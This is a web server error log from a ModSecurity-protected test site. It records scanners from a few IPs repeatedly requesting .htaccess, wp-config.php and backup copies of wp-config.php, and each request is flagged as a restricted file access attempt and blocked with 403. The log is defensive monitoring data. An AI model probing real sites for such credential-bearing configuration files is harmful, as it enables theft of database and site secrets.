[Wed Feb 11 19:21:30.147777 2026] [authz_core:error] [pid 2023197] [client 194.32.107.163:33474] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Wed Feb 11 19:40:53.053018 2026] [:error] [pid 2024121] [client 91.219.215.168:46323] [client 91.219.215.168] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /bjg1lazoiojn23d0k.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BjG1lazoiojn23D0k.htaccess"] [unique_id "aYzNNQJ6azDFJ6ASlZ01xwAAACk"]
[Wed Feb 11 19:40:53.053327 2026] [:error] [pid 2024121] [client 91.219.215.168:46323] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BjG1lazoiojn23D0k.htaccess"] [unique_id "aYzNNQJ6azDFJ6ASlZ01xwAAACk"]
[Wed Feb 11 19:40:53.053507 2026] [:error] [pid 2024121] [client 91.219.215.168:46323] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BjG1lazoiojn23D0k.htaccess"] [unique_id "aYzNNQJ6azDFJ6ASlZ01xwAAACk"]
[Wed Feb 11 19:40:53.407630 2026] [:error] [pid 2024127] [client 91.219.215.168:42861] [client 91.219.215.168] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /et1taancer001rixc1.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Et1TAANcER001riXc1.htaccess"] [unique_id "aYzNNXpGB3PJelTDef_ICgAAAC8"]
[Wed Feb 11 19:40:53.407952 2026] [:error] [pid 2024127] [client 91.219.215.168:42861] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Et1TAANcER001riXc1.htaccess"] [unique_id "aYzNNXpGB3PJelTDef_ICgAAAC8"]
[Wed Feb 11 19:40:53.408491 2026] [:error] [pid 2024127] [client 91.219.215.168:42861] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Et1TAANcER001riXc1.htaccess"] [unique_id "aYzNNXpGB3PJelTDef_ICgAAAC8"]
[Wed Feb 11 19:40:53.758583 2026] [:error] [pid 2024136] [client 91.219.215.168:43145] [client 91.219.215.168] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /uyvmal8bzwjicwqe0cr.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/UYVMal8bzWJicWqE0cr.htaccess"] [unique_id "aYzNNYhDSQZ_NY0dvwHFTAAAADg"]
[Wed Feb 11 19:40:53.758887 2026] [:error] [pid 2024136] [client 91.219.215.168:43145] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/UYVMal8bzWJicWqE0cr.htaccess"] [unique_id "aYzNNYhDSQZ_NY0dvwHFTAAAADg"]
[Wed Feb 11 19:40:53.759039 2026] [:error] [pid 2024136] [client 91.219.215.168:43145] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/UYVMal8bzWJicWqE0cr.htaccess"] [unique_id "aYzNNYhDSQZ_NY0dvwHFTAAAADg"]
[Wed Feb 11 19:40:54.110012 2026] [authz_core:error] [pid 2024140] [client 91.219.215.168:56713] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Wed Feb 11 19:41:36.665840 2026] [:error] [pid 2024127] [client 91.219.215.168:55983] [client 91.219.215.168] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzNYHpGB3PJelTDef_IFwAAAC8"]
[Wed Feb 11 19:41:36.666175 2026] [:error] [pid 2024127] [client 91.219.215.168:55983] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzNYHpGB3PJelTDef_IFwAAAC8"]
[Wed Feb 11 19:41:36.666323 2026] [:error] [pid 2024127] [client 91.219.215.168:55983] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzNYHpGB3PJelTDef_IFwAAAC8"]
[Wed Feb 11 19:43:52.737920 2026] [:error] [pid 2024127] [client 91.219.215.168:60275] [client 91.219.215.168] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aYzN6HpGB3PJelTDef_IQAAAAC8"]
[Wed Feb 11 19:43:52.738258 2026] [:error] [pid 2024127] [client 91.219.215.168:60275] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aYzN6HpGB3PJelTDef_IQAAAAC8"]
[Wed Feb 11 19:43:52.738435 2026] [:error] [pid 2024127] [client 91.219.215.168:60275] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aYzN6HpGB3PJelTDef_IQAAAAC8"]
[Wed Feb 11 19:43:56.415588 2026] [:error] [pid 2024136] [client 91.219.215.168:51607] [client 91.219.215.168] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aYzN7IhDSQZ_NY0dvwHFgwAAADg"]
[Wed Feb 11 19:43:56.415925 2026] [:error] [pid 2024136] [client 91.219.215.168:51607] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aYzN7IhDSQZ_NY0dvwHFgwAAADg"]
[Wed Feb 11 19:43:56.416098 2026] [:error] [pid 2024136] [client 91.219.215.168:51607] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aYzN7IhDSQZ_NY0dvwHFgwAAADg"]
[Wed Feb 11 19:50:44.308579 2026] [authz_core:error] [pid 2024122] [client 46.246.122.119:26629] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Wed Feb 11 19:51:15.524992 2026] [:error] [pid 2024128] [client 46.246.122.119:7781] [client 46.246.122.119] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzPo1NWxGVd-kxD0-DXaAAAADA"]
[Wed Feb 11 19:51:15.525309 2026] [:error] [pid 2024128] [client 46.246.122.119:7781] [client 46.246.122.119] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzPo1NWxGVd-kxD0-DXaAAAADA"]
[Wed Feb 11 19:51:15.525465 2026] [:error] [pid 2024128] [client 46.246.122.119:7781] [client 46.246.122.119] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzPo1NWxGVd-kxD0-DXaAAAADA"]
[Wed Feb 11 20:10:53.425564 2026] [:error] [pid 2024122] [client 91.219.215.168:46337] [client 91.219.215.168] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /ymlxe8w2axlm2gaa9.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ymlXE8w2AxlM2gAA9.htaccess"] [unique_id "aYzUPX8hITKMxoEDP8lDWQAAACo"]
[Wed Feb 11 20:10:53.425880 2026] [:error] [pid 2024122] [client 91.219.215.168:46337] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ymlXE8w2AxlM2gAA9.htaccess"] [unique_id "aYzUPX8hITKMxoEDP8lDWQAAACo"]
[Wed Feb 11 20:10:53.426052 2026] [:error] [pid 2024122] [client 91.219.215.168:46337] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ymlXE8w2AxlM2gAA9.htaccess"] [unique_id "aYzUPX8hITKMxoEDP8lDWQAAACo"]
[Wed Feb 11 20:10:53.777803 2026] [:error] [pid 2024121] [client 91.219.215.168:51879] [client 91.219.215.168] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /xbxcznxz6zc46fjnxi.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xBxCZnXz6zC46fjNXI.htaccess"] [unique_id "aYzUPQJ6azDFJ6ASlZ02bAAAACk"]
[Wed Feb 11 20:10:53.778173 2026] [:error] [pid 2024121] [client 91.219.215.168:51879] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xBxCZnXz6zC46fjNXI.htaccess"] [unique_id "aYzUPQJ6azDFJ6ASlZ02bAAAACk"]
[Wed Feb 11 20:10:53.778331 2026] [:error] [pid 2024121] [client 91.219.215.168:51879] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xBxCZnXz6zC46fjNXI.htaccess"] [unique_id "aYzUPQJ6azDFJ6ASlZ02bAAAACk"]
[Wed Feb 11 20:10:54.087830 2026] [:error] [pid 2024127] [client 91.219.215.168:33283] [client 91.219.215.168] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /khojfc6jabm2t1pikbn.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/KHoJFc6Jabm2t1pikBN.htaccess"] [unique_id "aYzUPnpGB3PJelTDef_IrwAAAC8"]
[Wed Feb 11 20:10:54.088145 2026] [:error] [pid 2024127] [client 91.219.215.168:33283] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/KHoJFc6Jabm2t1pikBN.htaccess"] [unique_id "aYzUPnpGB3PJelTDef_IrwAAAC8"]
[Wed Feb 11 20:10:54.088302 2026] [:error] [pid 2024127] [client 91.219.215.168:33283] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/KHoJFc6Jabm2t1pikBN.htaccess"] [unique_id "aYzUPnpGB3PJelTDef_IrwAAAC8"]
[Wed Feb 11 20:10:54.438527 2026] [authz_core:error] [pid 2024128] [client 91.219.215.168:36233] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Wed Feb 11 20:11:39.243075 2026] [:error] [pid 2024127] [client 91.219.215.168:48715] [client 91.219.215.168] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzUa3pGB3PJelTDef_IvAAAAC8"]
[Wed Feb 11 20:11:39.243401 2026] [:error] [pid 2024127] [client 91.219.215.168:48715] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzUa3pGB3PJelTDef_IvAAAAC8"]
[Wed Feb 11 20:11:39.243585 2026] [:error] [pid 2024127] [client 91.219.215.168:48715] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aYzUa3pGB3PJelTDef_IvAAAAC8"]
[Wed Feb 11 20:13:54.455270 2026] [:error] [pid 2024122] [client 91.219.215.168:42793] [client 91.219.215.168] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aYzU8n8hITKMxoEDP8lDjwAAACo"]
[Wed Feb 11 20:13:54.455586 2026] [:error] [pid 2024122] [client 91.219.215.168:42793] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aYzU8n8hITKMxoEDP8lDjwAAACo"]
[Wed Feb 11 20:13:54.455750 2026] [:error] [pid 2024122] [client 91.219.215.168:42793] [client 91.219.215.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aYzU8n8hITKMxoEDP8lDjwAAACo"]
[Wed Feb 11 20:13:58.124646 2026] [:error] [pid 2024121] [client 91.219.215.168:42263] [client 91.219.215.168] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aYzU9gJ6azDFJ6ASlZ02owAAACk"]
[Wed Feb 11 20:13:58.124955 2026] [:error] [pid 2024121] [client 91.219.215.168:42263] [client 91.219.215.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aYzU9gJ6azDFJ6ASlZ02owAAACk"]
